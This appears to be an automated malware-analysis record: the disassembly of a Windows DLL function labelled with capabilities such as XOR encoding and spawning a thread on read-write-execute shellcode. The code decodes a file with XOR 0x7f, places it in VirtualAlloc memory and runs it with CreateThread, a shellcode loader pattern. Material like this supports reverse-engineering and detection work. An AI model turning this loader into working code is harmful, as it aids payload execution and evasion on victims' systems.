Function at 0x180001d00
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x180033080]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov rbx, rcx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x60]
call fcn.180021660
cmp qword [rbx + 0x18], 0xf
jbe 0x180001d50
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.180003c10
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
cmp qword [rbp + 0x30], 0
jne 0x180001d90
xor edi, edi
jmp 0x180001ffe
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.1800031f0
lea rcx, [rbp - 0x60]
call fcn.1800032d0
xorps xmm0, xmm0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea r14, [rax + rcx]
movdqu xmmword [rbp - 0x80], xmm0
xor edi, edi
mov esi, edi
mov qword [rbp - 0x70], rdi
test r14, r14
je 0x180001e43
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x180002093
cmp r14, 0x1000
jb 0x180001e0f
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x180002099
call fcn.180005ce4
test rax, rax
je 0x18000208d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x180001e1a
mov rcx, r14
call fcn.180005ce4
mov rbx, rax
mov qword [rbp - 0x80], rbx
lea rsi, [rbx + r14]
mov qword [rbp - 0x70], rsi
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.180021660
mov qword [rbp - 0x78], rsi
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
jmp 0x180001e47
mov rbx, qword [rbp - 0x80]
lea r8, [rax + rcx]
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.1800034c0
lea rcx, [rbp - 0x50]
call fcn.180003ad0
test rax, rax
jne 0x180001e97
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
mov edx, dword [rbp + rcx - 0x4c]
and edx, eax
jne 0x18000209f
mov rdx, qword [rsp + 0x70]
add rdx, qword [rsp + 0x68]
mov r8d, edi
test edx, edx
je 0x180001f4d
cmp edx, 0x40
jb 0x180001f34
mov r9d, edx
and r9d, 0xffffffc0
movdqa xmm2, xmmword [0x18002d3a0]
mov r10d, 0x20
nop word [rax + rax]
mov eax, r8d
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
lea eax, [r10 - 0x10]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
mov eax, r10d
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
lea eax, [r10 + 0x10]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
add r8d, 0x40
add r10d, 0x40
cmp r8d, r9d
jb 0x180001ed0
cmp r8d, edx
jae 0x180001f4d
mov ecx, r8d
add rcx, rbx
sub edx, r8d
mov eax, edx
nop
xor byte [rcx], 0x7f
lea rcx, [rcx + 1]
sub rax, 1
jne 0x180001f40
mov rcx, qword [rsp + 0x68]
add rcx, qword [rsp + 0x70]
mov r15d, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180001fc5
mov r8d, r15d
mov rdx, rbx
mov rcx, rax
call fcn.180020fc0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180001fb7
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180001fc5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
test rbx, rbx
je 0x180001ffe
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x180001ff2
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000208d
mov rdx, rsi
mov rcx, rbx
call fcn.180005cb0
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.180002f30
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rcx, qword [rbp - 0x60]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx - 0x64], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.180005754
nop
mov eax, edi
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.180005c90
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.18000cb80
nop
call fcn.180004d00
int3
call fcn.180001170
nop
test dl, 4
je 0x1800020ad
lea rbx, str.ios_base::badbit_set
jmp 0x1800020c2
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1800012e0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180001ba0
lea rdx, [0x180031138]
lea rcx, [rsp + 0x40]
call fcn.180007b64
int3